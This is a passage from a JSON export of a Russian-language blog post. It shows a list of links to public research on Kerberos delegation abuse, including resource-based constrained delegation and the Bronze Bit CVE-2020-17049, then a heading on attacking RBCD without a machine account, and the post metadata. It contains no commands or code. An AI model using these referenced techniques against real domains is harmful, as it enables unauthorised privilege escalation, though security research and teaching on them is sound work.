class=\"spoiler__content\">\n<ul>\n<li>\n<p><a href=\"https:\/\/harmj0y.medium.com\/s4u2pwnage-36efe1a2777c\">S4U2Pwnage | by Will Schroeder | Medium<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory | Shenanigans Labs<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/posts.specterops.io\/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783\">A Case Study in Wagging the Dog: Computer Takeover | by Will Schroeder | Posts By SpecterOps Team Members<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/sensepost.com\/blog\/2020\/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd\/\">SensePost | Chaining multiple techniques and tools for domain takeover using rbcd<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/cve-2020-17049-kerberos-bronze-bit-theory\/\">CVE-2020-17049: Kerberos Bronze Bit Attack &#8212; Theory<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/cve-2020-17049-kerberos-bronze-bit-attack\/\">CVE-2020-17049: Kerberos Bronze Bit Attack &#8212; Practical Exploitation<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/delegate-2-thyself.html\">eXploit \u2013 Delegate 2 Thyself<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\">eXploit \u2013 Revisiting &#8216;Delegate 2 Thyself&#8217;<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.praetorian.com\/blog\/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2\/\">Red Team Privilege Escalation &#8212; RBCD Based Privilege Escalation &#8212; Praetorian<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<h3>3. \u0410\u0442\u0430\u043a\u0443\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 RBCD \u0431\u0435\u0437 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0423\u0417<\/h3>\n<p>\u00ab\u0418\u0442\u0430\u043a, \u0430 \u0432 \u0447\u0435\u043c \u0436\u0435 \u043d\u043e\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434,<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-336566","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/336566","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=336566"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/336566\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=336566"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=336566"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=336566"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}